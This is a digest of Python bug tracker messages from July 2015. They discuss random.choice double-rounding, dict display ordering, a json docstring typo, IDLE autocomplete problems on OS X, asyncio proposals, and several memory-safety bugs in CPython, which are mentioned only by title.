<1436103626.08.0.528979674871.issue24566@psf.upfronthosting.co.za> bee13oy added the comment: I have just tested python 2.7.10 on Windows 7 x86 with the poc code, it will also result in python crash. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 16:02:05 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Sun, 05 Jul 2015 14:02:05 +0000 Subject: [issue23965] test_ssl failure on Fedora 22 In-Reply-To: <1429109042.15.0.0394513301498.issue23965@psf.upfronthosting.co.za> Message-ID: <1436104925.98.0.322905602479.issue23965@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Patch looks fine to me, assuming the tests don't fail, of course. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 16:24:36 2015 From: report at bugs.python.org (=?utf-8?q?Adam_Barto=C5=A1?=) Date: Sun, 05 Jul 2015 14:24:36 +0000 Subject: [issue23057] [Windows] asyncio: support signal handlers on Windows (feature request) In-Reply-To: <1418674256.87.0.827009141117.issue23057@psf.upfronthosting.co.za> Message-ID: <1436106276.65.0.756284720561.issue23057@psf.upfronthosting.co.za> Adam Barto? added the comment: I've also run into this issue (see https://mail.python.org/pipermail/python-list/2015-July/693496.html and the following thread). I'm adding some small examples showing the behavior. import asyncio async def wait(): await asyncio.sleep(5) loop = asyncio.get_event_loop() loop.run_until_complete(wait()) --- The following even smaller example by Terry Reedy and the OP from http://stackoverflow.com/questions/27480967/why-does-the-asyncios-event-loop-suppress-the-keyboardinterrupt-on-windows cannot be interrupted other way then shuting down whole process: asyncio.get_event_loop().run_forever() --- It would be nice the patch mentioned was eventually applied. ---------- nosy: +Drekin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 16:28:29 2015 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 05 Jul 2015 14:28:29 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436106509.39.0.274516332665.issue24567@psf.upfronthosting.co.za> Mark Dickinson added the comment: Note that this affects other Random methods, too. There are several places in the source where something of the form `int(i * random.random())` is used to select an integer in the half-open range [0, i). And a nitpick: it's a stretch to describe double-rounding on multiplication (or any other arithmetic operation) as a bug: Python-the-language makes no promises about adhering to IEEE 754 arithmetic rule. (In fact, it makes no promises about using IEEE 745 formats in the first place.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 16:29:13 2015 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 05 Jul 2015 14:29:13 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436106553.03.0.837072686501.issue24567@psf.upfronthosting.co.za> Mark Dickinson added the comment: > IEEE 745 IEEE 754. Stupid fingers. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 17:39:29 2015 From: report at bugs.python.org (Roundup Robot) Date: Sun, 05 Jul 2015 15:39:29 +0000 Subject: [issue24569] Inconsistent PEP 0448 implementation In-Reply-To: <1436101543.42.0.85714652308.issue24569@psf.upfronthosting.co.za> Message-ID: <20150705153927.9720.17015@psf.io> Roundup Robot added the comment: New changeset a4df0fe62b46 by Benjamin Peterson in branch '3.5': set items in dict displays from left to right (closes #24569) https://hg.python.org/cpython/rev/a4df0fe62b46 New changeset 75852d90c225 by Benjamin Peterson in branch 'default': merge 3.5 (#24569) https://hg.python.org/cpython/rev/75852d90c225 ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 17:39:57 2015 From: report at bugs.python.org (Roundup Robot) Date: Sun, 05 Jul 2015 15:39:57 +0000 Subject: [issue24568] Misc/NEWS: "free-after-use" -> "use-after-free" In-Reply-To: <1436098037.39.0.99506662274.issue24568@psf.upfronthosting.co.za> Message-ID: <20150705153955.15654.74013@psf.io> Roundup Robot added the comment: New changeset 5097c91cdc2d by Benjamin Peterson in branch '2.7': 'free-after-use' is not a bug :) (closes #24568) https://hg.python.org/cpython/rev/5097c91cdc2d ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 17:49:22 2015 From: report at bugs.python.org (Jakub Wilk) Date: Sun, 05 Jul 2015 15:49:22 +0000 Subject: [issue24568] Misc/NEWS: "free-after-use" -> "use-after-free" In-Reply-To: <1436098037.39.0.99506662274.issue24568@psf.upfronthosting.co.za> Message-ID: <1436111362.75.0.00820833251101.issue24568@psf.upfronthosting.co.za> Jakub Wilk added the comment: Uh, "use-after-use" is not a bug either. :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 17:49:53 2015 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Sun, 05 Jul 2015 15:49:53 +0000 Subject: [issue24569] Inconsistent PEP 0448 implementation In-Reply-To: <1436101543.42.0.85714652308.issue24569@psf.upfronthosting.co.za> Message-ID: <1436111393.09.0.957670431316.issue24569@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: Benjamin, you're my hero. :-) I'm not really at home in C source... is it possible that you have also changed {0:1, 0:2} to be {0:2} (as opposed to {0:1} as it is now)? I'm completely fine with that and find it more logical (and as I said in the previous message, it matches BDFL's mental model, which is the real reference implementation of Python:), but I'm afraid backward compatibility zealots will ruin the fun. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 17:53:31 2015 From: report at bugs.python.org (Benjamin Peterson) Date: Sun, 05 Jul 2015 15:53:31 +0000 Subject: [issue24569] Inconsistent PEP 0448 implementation In-Reply-To: <1436101543.42.0.85714652308.issue24569@psf.upfronthosting.co.za> Message-ID: <1436111611.96.0.0240925503241.issue24569@psf.upfronthosting.co.za> Benjamin Peterson added the comment: Python 3.3.5 (default, Aug 19 2014, 23:45:33) [GCC 4.7.3] on linux Type "help", "copyright", "credits" or "license" for more information. >>> {0:1, 0:2} {0: 2} Python 2.7.9 (default, Dec 24 2014, 23:52:11) [GCC 4.8.3] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> {0:1, 0:2} {0: 2} ---------- nosy: +benjamin.peterson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 18:35:23 2015 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Sun, 05 Jul 2015 16:35:23 +0000 Subject: [issue24569] Inconsistent PEP 0448 implementation In-Reply-To: <1436101543.42.0.85714652308.issue24569@psf.upfronthosting.co.za> Message-ID: <1436114123.69.0.980963998275.issue24569@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: Ah, so it was broken _only_ on 3.5. That should teach me not to uninstall Py3.x as soon as Py3.x+1 comes out. :-) Ok, thank you very much. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 19:04:29 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 05 Jul 2015 17:04:29 +0000 Subject: [issue24566] Unsigned Integer Overflow in sre_lib.h In-Reply-To: <1436064561.98.0.902755474507.issue24566@psf.upfronthosting.co.za> Message-ID: <1436115869.15.0.975612731365.issue24566@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Not having Windows I can't reproduce the crash. Someone should test if the patch for issue18684 fixes this issue and doesn't introduce other regressions. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 19:05:55 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 05 Jul 2015 17:05:55 +0000 Subject: [issue18684] Pointers point out of array bound in _sre.c In-Reply-To: <1375962984.07.0.918202360038.issue18684@psf.upfronthosting.co.za> Message-ID: <1436115955.27.0.983316812471.issue18684@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: May be issue24566 has a reproducer, but not having Windows I can't test this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 19:48:23 2015 From: report at bugs.python.org (Christian Heimes) Date: Sun, 05 Jul 2015 17:48:23 +0000 Subject: [issue23239] SSL match_hostname does not accept IP Address In-Reply-To: <1421226292.77.0.451398063166.issue23239@psf.upfronthosting.co.za> Message-ID: <1436118503.84.0.883479812346.issue23239@psf.upfronthosting.co.za> Christian Heimes added the comment: ping ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 20:29:45 2015 From: report at bugs.python.org (Matthew Havard) Date: Sun, 05 Jul 2015 18:29:45 +0000 Subject: [issue24540] Documentation about skipkeys parameter for json.dumps is incorrect In-Reply-To: <1435695382.36.0.927622903083.issue24540@psf.upfronthosting.co.za> Message-ID: <1436120985.59.0.0984817956576.issue24540@psf.upfronthosting.co.za> Matthew Havard added the comment: It's in the actual code in the docstring: https://hg.python.org/cpython/file/6905a7f8c7ac/Lib/json/__init__.py#l187 I'm really new to Mercurial, so I'm not quite sure how to link to the 2.7 version of the Mercurial repo, but here is the link to Lib/json/__init__.py in the 2.7 version on Github: https://github.com/python/cpython/blob/2.7/Lib/json/__init__.py#L198 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 20:33:26 2015 From: report at bugs.python.org (Matthew Havard) Date: Sun, 05 Jul 2015 18:33:26 +0000 Subject: [issue24540] Documentation about skipkeys parameter for json.dumps is incorrect In-Reply-To: <1435695382.36.0.927622903083.issue24540@psf.upfronthosting.co.za> Message-ID: <1436121206.69.0.311740538607.issue24540@psf.upfronthosting.co.za> Matthew Havard added the comment: Also, this typo is present in all versions anyway. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 20:41:42 2015 From: report at bugs.python.org (Mark Shannon) Date: Sun, 05 Jul 2015 18:41:42 +0000 Subject: [issue24325] Speedup types.coroutine() In-Reply-To: <1432916607.38.0.641720588714.issue24325@psf.upfronthosting.co.za> Message-ID: <1436121702.83.0.136798060875.issue24325@psf.upfronthosting.co.za> Mark Shannon added the comment: If type.coroutine is not the first and only decorator, then things may be even worse. Code objects are currently immutable. This change would mean that a call to types.coroutine in one place in the code would change the semantics of another piece of code in a potentially surprising way. I think creating a copy is probably the best thing to. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 20:46:39 2015 From: report at bugs.python.org (Roundup Robot) Date: Sun, 05 Jul 2015 18:46:39 +0000 Subject: [issue24540] Documentation about skipkeys parameter for json.dumps is incorrect In-Reply-To: <1435695382.36.0.927622903083.issue24540@psf.upfronthosting.co.za> Message-ID: <20150705184636.8857.64175@psf.io> Roundup Robot added the comment: New changeset 803520a8db94 by Ned Deily in branch '2.7': Issue #24540: fix typo in json.dumps docstring https://hg.python.org/cpython/rev/803520a8db94 New changeset 0deca75537ec by Ned Deily in branch '3.4': Issue #24540: fix typo in json.dumps docstring https://hg.python.org/cpython/rev/0deca75537ec New changeset 038b4f61d9b7 by Ned Deily in branch '3.5': Issue #24540: merger from 3.4 https://hg.python.org/cpython/rev/038b4f61d9b7 New changeset 55755b2079fb by Ned Deily in branch 'default': Issue #24540: merger from 3.5 https://hg.python.org/cpython/rev/55755b2079fb ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 20:49:06 2015 From: report at bugs.python.org (Ned Deily) Date: Sun, 05 Jul 2015 18:49:06 +0000 Subject: [issue24540] Docstring for json.dumps skipkeys parameter is incorrect In-Reply-To: <1435695382.36.0.927622903083.issue24540@psf.upfronthosting.co.za> Message-ID: <1436122146.23.0.00752379438078.issue24540@psf.upfronthosting.co.za> Ned Deily added the comment: Thanks, I overlooked the docstring. Now fixed. ---------- resolution: -> fixed stage: -> resolved status: open -> closed title: Documentation about skipkeys parameter for json.dumps is incorrect -> Docstring for json.dumps skipkeys parameter is incorrect versions: +Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 21:02:53 2015 From: report at bugs.python.org (Matthew Havard) Date: Sun, 05 Jul 2015 19:02:53 +0000 Subject: [issue24540] Docstring for json.dumps skipkeys parameter is incorrect In-Reply-To: <1435695382.36.0.927622903083.issue24540@psf.upfronthosting.co.za> Message-ID: <1436122973.46.0.770461319285.issue24540@psf.upfronthosting.co.za> Matthew Havard added the comment: Great! Glad to be of service. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 21:04:08 2015 From: report at bugs.python.org (Alexander Belopolsky) Date: Sun, 05 Jul 2015 19:04:08 +0000 Subject: [issue23517] datetime.utcfromtimestamp parses timestamps incorrectly In-Reply-To: <1424817522.64.0.693607620573.issue23517@psf.upfronthosting.co.za> Message-ID: <1436123048.28.0.195723169486.issue23517@psf.upfronthosting.co.za> Alexander Belopolsky added the comment: I'll let others fight this battle. In my view, introducing floating point timestamp method for datetime objects was a mistake. See issue #2736. Specifically, I would like to invite Velko Ivanov to rethink his rant at msg124197. If anyone followed his advise and started using timestamp method to JSON-serialize datetimes around 3.3, have undoubtedly being bitten by the present bug (but may not know it yet.) For those who need robust code, I will continue recommending (dt - EPOCH)/timedelta(seconds=1) expression over the timestamp method and for JSON serialization (dt - EPOCH) // datetime.resolution to convert to integers and EPOCH + n * datetime.resolution to convert back. ---------- nosy: +vivanov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 21:04:33 2015 From: report at bugs.python.org (Alexander Belopolsky) Date: Sun, 05 Jul 2015 19:04:33 +0000 Subject: [issue23517] datetime.utcfromtimestamp parses timestamps incorrectly In-Reply-To: <1424817522.64.0.693607620573.issue23517@psf.upfronthosting.co.za> Message-ID: <1436123073.42.0.623585070865.issue23517@psf.upfronthosting.co.za> Changes by Alexander Belopolsky : ---------- nosy: -belopolsky _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 21:17:33 2015 From: report at bugs.python.org (Tim Peters) Date: Sun, 05 Jul 2015 19:17:33 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1436123853.32.0.153275067478.issue24546@psf.upfronthosting.co.za> Tim Peters added the comment: Thanks, Mark! That's convincing. Just as a sanity check, I tried all ints in 1 through 4 billion (inclusive) against 1. - 2.**-52, with no failures. Although that was with ad hoc Python code simulating various rounding methods using scaled integers, so may have its own bugs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 21:42:13 2015 From: report at bugs.python.org (Tim Peters) Date: Sun, 05 Jul 2015 19:42:13 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436125333.74.0.0325733386922.issue24567@psf.upfronthosting.co.za> Tim Peters added the comment: I suppose the simplest "fix" would be to replace relevant instances of int(random() * N) with min(int(random() * N), N-1) That would be robust against many kinds of arithmetic quirks, and ensure that platforms with and without such quirks would, if forced to the same internal random state, yield the same result when random() happens to return 1. - 2.**-53. Victor, what - precisely - do you have in mind with "only use integers"? The current method was used because it's simple, efficient, and obvious. Python 3.4.3 appears to (usually) use a different method, though, relying on C code to generate random bytes without going through floats. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 22:16:49 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 05 Jul 2015 20:16:49 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1436127409.6.0.249220820324.issue24546@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- assignee: rhettinger -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 22:48:27 2015 From: report at bugs.python.org (Alessandro Rosa) Date: Sun, 05 Jul 2015 20:48:27 +0000 Subject: [issue24570] IDLE Autocomplete and Call Tips Do Not Pop Up Message-ID: <1436129307.64.0.192936457067.issue24570@psf.upfronthosting.co.za> New submission from Alessandro Rosa: I recently upgraded to Python 2.7.10 on my MacOSX Yosemite computer. I also added a Python 3.4.3 installation. At the time I upgraded Tcl/Tk with ActiveTcl 8.5.18 as was suggested on the Python for MacOSX installation page. At this point, Autocomplete and Call Tips stopped popping up. I checked the preferences and it seemed to be turned on. The delay was set to 2000, so I changed that to 2, but nothing happened. Pressing -Spacebar and then using the down arrow key lets me cycle through the the available functions, but putting a dot after an object has no effect, and if I open parentheses, I get no tips. This is both in the IDLE Shell and Editor windows. I tried to redo everything by deleting all instances of Python from my drive. I reinstalled them, reloaded all packages, and Autocomplete and call tips still are not popping up. Is there any known issues or is there a workaround? Do I possibly need to add or change the new Tk path somewhere so that IDLE can find what it needs to popup autocomplete? Is there a way that I can initiate IDLE Autocomplete and Call Tips during the coding session to manually get them to work? I am somewhat new to Python, and I often rely on the autocomplete tips to remind me of what I need to do or what methods are available for an object. I really like IDLE but it is hard for me to use without this functionality. Any help would be greatly appreciated. Thank you, ---------- components: IDLE, Macintosh, Tkinter messages: 246337 nosy: Alessandro Rosa, ned.deily, ronaldoussoren priority: normal severity: normal status: open title: IDLE Autocomplete and Call Tips Do Not Pop Up type: behavior versions: Python 2.7, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 23:07:40 2015 From: report at bugs.python.org (Arfrever Frehtes Taifersar Arahesis) Date: Sun, 05 Jul 2015 21:07:40 +0000 Subject: [issue24456] audioop.adpcm2lin Buffer Over-read In-Reply-To: <1434401846.51.0.0422696666136.issue24456@psf.upfronthosting.co.za> Message-ID: <1436130460.39.0.313717094329.issue24456@psf.upfronthosting.co.za> Changes by Arfrever Frehtes Taifersar Arahesis : ---------- nosy: +Arfrever _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 23:08:21 2015 From: report at bugs.python.org (Mark Lawrence) Date: Sun, 05 Jul 2015 21:08:21 +0000 Subject: [issue18684] Pointers point out of array bound in _sre.c In-Reply-To: <1375962984.07.0.918202360038.issue18684@psf.upfronthosting.co.za> Message-ID: <1436130501.46.0.211066118197.issue18684@psf.upfronthosting.co.za> Mark Lawrence added the comment: The reproducer from issue24566 consistently crashed the code. Applied the patch from here and couldn't reproduce the problem. Then ran test_re for both 32 and 64 bit debug and release builds with no problems. ---------- nosy: +BreamoreBoy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 23:09:53 2015 From: report at bugs.python.org (Mark Lawrence) Date: Sun, 05 Jul 2015 21:09:53 +0000 Subject: [issue24566] Unsigned Integer Overflow in sre_lib.h In-Reply-To: <1436064561.98.0.902755474507.issue24566@psf.upfronthosting.co.za> Message-ID: <1436130593.6.0.0959343436056.issue24566@psf.upfronthosting.co.za> Mark Lawrence added the comment: Fixed by the patch on issue18684, see also my comments there. ---------- nosy: +BreamoreBoy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 23:13:46 2015 From: report at bugs.python.org (Arfrever Frehtes Taifersar Arahesis) Date: Sun, 05 Jul 2015 21:13:46 +0000 Subject: [issue24457] audioop.lin2adpcm Buffer Over-read In-Reply-To: <1434401906.27.0.811918052895.issue24457@psf.upfronthosting.co.za> Message-ID: <1436130826.8.0.965119753934.issue24457@psf.upfronthosting.co.za> Changes by Arfrever Frehtes Taifersar Arahesis : ---------- nosy: +Arfrever _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 23:17:37 2015 From: report at bugs.python.org (Arfrever Frehtes Taifersar Arahesis) Date: Sun, 05 Jul 2015 21:17:37 +0000 Subject: [issue24462] bytearray.find Buffer Over-read In-Reply-To: <1434551199.93.0.25363766054.issue24462@psf.upfronthosting.co.za> Message-ID: <1436131057.38.0.217858714846.issue24462@psf.upfronthosting.co.za> Changes by Arfrever Frehtes Taifersar Arahesis : ---------- nosy: +Arfrever _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 23:20:05 2015 From: report at bugs.python.org (Arfrever Frehtes Taifersar Arahesis) Date: Sun, 05 Jul 2015 21:20:05 +0000 Subject: [issue24467] bytearray pop and remove Buffer Over-read In-Reply-To: <1434661475.31.0.317963230692.issue24467@psf.upfronthosting.co.za> Message-ID: <1436131205.09.0.841524497515.issue24467@psf.upfronthosting.co.za> Changes by Arfrever Frehtes Taifersar Arahesis : ---------- nosy: +Arfrever _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 23:20:08 2015 From: report at bugs.python.org (Tomas Nordin) Date: Sun, 05 Jul 2015 21:20:08 +0000 Subject: [issue24524] python crash using Tkinter In-Reply-To: <1435528887.92.0.932065002837.issue24524@psf.upfronthosting.co.za> Message-ID: <1436131208.53.0.736668720201.issue24524@psf.upfronthosting.co.za> Tomas Nordin added the comment: I have not experienced this problem on windoze. The problem seem to have appeared when upgrading my operating system from Debian wheezy to jessie, I think with python going from 2.7.3 to 2.7.9. And I have a stomach feeling it is related to the environment. I have filed a bug report at debian too, or I am working on it. With the initial description I have been wanting to say that just opening the root window and closing it does not crash python. But open it, use askopenfilename and then close the root window lead to a crash. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 23:32:51 2015 From: report at bugs.python.org (Arfrever Frehtes Taifersar Arahesis) Date: Sun, 05 Jul 2015 21:32:51 +0000 Subject: [issue24552] use after free in load_newobj_ex In-Reply-To: <1435871866.78.0.724448815208.issue24552@psf.upfronthosting.co.za> Message-ID: <1436131971.06.0.0826247739478.issue24552@psf.upfronthosting.co.za> Changes by Arfrever Frehtes Taifersar Arahesis : ---------- nosy: +Arfrever _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 23:47:10 2015 From: report at bugs.python.org (Ned Deily) Date: Sun, 05 Jul 2015 21:47:10 +0000 Subject: [issue24570] IDLE Autocomplete and Call Tips Do Not Pop Up on OS X with ActiveTcl 8.5.18 In-Reply-To: <1436129307.64.0.192936457067.issue24570@psf.upfronthosting.co.za> Message-ID: <1436132830.63.0.537245984045.issue24570@psf.upfronthosting.co.za> Ned Deily added the comment: Thanks for the report. Taking a quick look at it, it appears that the problem was introduced with the most recently releases of ActiveTcl on OS X, 8.5.18 and 8.6.4. The autocomplete popups seem to work fine with the previous OS X release of ActiveTcl 8.5 (8.5.17) and with a MacPorts +quartz build of Tcl/Tk 8.6.3. I know that Kevin Walzer added a lot of fixes to the native OS X version of Tk that were first released with 8.6.4 and 8.5.18 and I think there have been additional fixes since then but are not yet in an official Tcl/Tk release. I'm cc-ing Kevin here; perhaps this will look familiar. As workarounds, if you have access to ActiveTcl 8.5.17, you could install that. Or, if you feel up to building your own framework version of 8.5.17, you could try that. You *could* also remove 8.5.18 and fall back to the Apple-supplied system Tcl/Tk 8.5.9 but I would strongly recommend not doing that as that version has critical problems, most notably the bug that causes Tk to crash (and, thus, crash IDLE with no opportunity for saving work) by typing multi-character compose codes in text boxes (like option-u on US keyboard layouts). So it should first be established whether this problem still exists with current trunk of 8.5.x (for that's what the OS X installers link with) and, if so, try to get a new version of ActiveTcl 8.5.x released. It might help to file an issue with ActiveState (https://bugs.activestate.com/index.cgi) and/or on the Tk issue tracker (https://core.tcl.tk/tk/reportlist). And it would be even better to have a pure Tcl/Tk test case using wish so that Python is not a factor. Unfortunately, I'm not going to have much time for the immediate future to shepherd that activity. ---------- nosy: +wordtech title: IDLE Autocomplete and Call Tips Do Not Pop Up -> IDLE Autocomplete and Call Tips Do Not Pop Up on OS X with ActiveTcl 8.5.18 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 03:36:34 2015 From: report at bugs.python.org (Nick Coghlan) Date: Mon, 06 Jul 2015 01:36:34 +0000 Subject: [issue24571] [RFE] Add asyncio.blocking_call API Message-ID: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> New submission from Nick Coghlan: Based on a current python-dev discussion, I'd like to suggest a high level convenience API in asyncio to dispatch a blocking call out to a separate thread or process: # Call blocking operation from asynchronous code def blocking_call(f, *args, **kwds): """Usage: result = await asyncio.blocking_call(f, *args, **kwds))""" cb = functools.partial(f, *args, **kwds) return asyncio.get_event_loop().run_in_executor(cb) While that function is only a couple of lines long, it's *conceptually* very dense. The aim would thus be to let folks safely make blocking calls from asyncio code without needing to first understand the intricacies of the event loop, the event loop's executor, or the need to wrap the call in functools.partial. Exploring those would instead become an optional exercise in understanding how asyncio.blocking_call works. ---------- messages: 246342 nosy: giampaolo.rodola, gvanrossum, haypo, ncoghlan, pitrou, yselivanov priority: normal severity: normal stage: needs patch status: open title: [RFE] Add asyncio.blocking_call API type: enhancement versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 03:45:10 2015 From: report at bugs.python.org (Kevin Phillips (kmecpp)) Date: Mon, 06 Jul 2015 01:45:10 +0000 Subject: [issue24572] IDLE Bug Message-ID: <1436147110.34.0.380654402818.issue24572@psf.upfronthosting.co.za> New submission from Kevin Phillips (kmecpp): This appears to be a bug with IDLE that happens when printing out ASCII codes. I posted the issue to stackoverflow when I came accross it because I didn't know what the problem was, so there is a more detailed description of the there: http://stackoverflow.com/q/31235670/3476226 ---------- components: IDLE files: python_bug.png messages: 246343 nosy: Kevin Phillips (kmecpp) priority: normal severity: normal status: open title: IDLE Bug type: behavior versions: Python 3.4 Added file: http://bugs.python.org/file39873/python_bug.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 03:45:34 2015 From: report at bugs.python.org (Kevin Phillips (kmecpp)) Date: Mon, 06 Jul 2015 01:45:34 +0000 Subject: [issue24572] IDLE Text Output Bug with ASCII Codes In-Reply-To: <1436147110.34.0.380654402818.issue24572@psf.upfronthosting.co.za> Message-ID: <1436147134.35.0.151640112661.issue24572@psf.upfronthosting.co.za> Changes by Kevin Phillips (kmecpp) : ---------- title: IDLE Bug -> IDLE Text Output Bug with ASCII Codes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 04:17:48 2015 From: report at bugs.python.org (Topher Kessler) Date: Mon, 06 Jul 2015 02:17:48 +0000 Subject: [issue24573] Using multiprocessing with tkinter frames in Python 3.4.3 crashes in OS X Message-ID: <1436149068.06.0.463306574037.issue24573@psf.upfronthosting.co.za> New submission from Topher Kessler: There may be a bug in how tkinter frames are handled when called in multiple processes in OS X. I am trying to run a simple script that defines a new Frame subclass and then attempts to call it multiple times in separate processes using the multiprocessing module. When the frame's mainloops are called the process crashes. I've included the script where this problem is occurring. The crash report specifies python, and among a bunch of boilerplate information includes the following lines: Application Specific Information: *** multi-threaded process forked *** crashed on child side of fork pre-exec This is happening in Python 3.4.3, running in OS X 10.10.4. In testing this on alternative platforms (Windows and Linux) it appears to work, suggesting it may be a bug in OS X's implementation. ---------- components: Macintosh, Tkinter files: tkmultiproc.py messages: 246344 nosy: ned.deily, ronaldoussoren, tkessler priority: normal severity: normal status: open title: Using multiprocessing with tkinter frames in Python 3.4.3 crashes in OS X type: crash versions: Python 3.4 Added file: http://bugs.python.org/file39874/tkmultiproc.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 04:27:15 2015 From: report at bugs.python.org (Kevin Walzer) Date: Mon, 06 Jul 2015 02:27:15 +0000 Subject: [issue24570] IDLE Autocomplete and Call Tips Do Not Pop Up on OS X with ActiveTcl 8.5.18 In-Reply-To: <1436129307.64.0.192936457067.issue24570@psf.upfronthosting.co.za> Message-ID: <1436149635.14.0.634460124275.issue24570@psf.upfronthosting.co.za> Kevin Walzer added the comment: Where in the IDLE source code tree is this code housed? Is it possible to provide a Python script that reproduces the issue? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 04:30:51 2015 From: report at bugs.python.org (Kevin Phillips (kmecpp)) Date: Mon, 06 Jul 2015 02:30:51 +0000 Subject: [issue24572] IDLE Text Output With ASCII Codes Not Working In-Reply-To: <1436147110.34.0.380654402818.issue24572@psf.upfronthosting.co.za> Message-ID: <1436149851.42.0.835852823604.issue24572@psf.upfronthosting.co.za> Changes by Kevin Phillips (kmecpp) : ---------- title: IDLE Text Output Bug with ASCII Codes -> IDLE Text Output With ASCII Codes Not Working _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 05:04:14 2015 From: report at bugs.python.org (Martin Panter) Date: Mon, 06 Jul 2015 03:04:14 +0000 Subject: [issue24572] IDLE Text Output With ASCII Control Codes Not Working In-Reply-To: <1436147110.34.0.380654402818.issue24572@psf.upfronthosting.co.za> Message-ID: <1436151854.88.0.123394845675.issue24572@psf.upfronthosting.co.za> Martin Panter added the comment: See also Issue 23220, specifically about the backspace control code. I understand the only control codes that Idle handles are newlines (line feed, \n) and tabs (\t). ---------- nosy: +vadmium title: IDLE Text Output With ASCII Codes Not Working -> IDLE Text Output With ASCII Control Codes Not Working _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 05:23:06 2015 From: report at bugs.python.org (bee13oy) Date: Mon, 06 Jul 2015 03:23:06 +0000 Subject: [issue24566] Unsigned Integer Overflow in sre_lib.h In-Reply-To: <1436064561.98.0.902755474507.issue24566@psf.upfronthosting.co.za> Message-ID: <1436152986.33.0.945328889876.issue24566@psf.upfronthosting.co.za> bee13oy added the comment: I tested this path, and It really fixed this issue. But I'm wondering Python 2.7.10 was released at May 23, 2015, and this path was created at March 22,2015. So does it mean, Python 2.7.10/3.5.0b2 was compiled and released without applying this path? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jul 6 07:31:03 2015 From: report at bugs.python.org (Alessandro Rosa) Date: Mon, 06 Jul 2015 05:31:03 +0000 Subject: [issue24570] IDLE 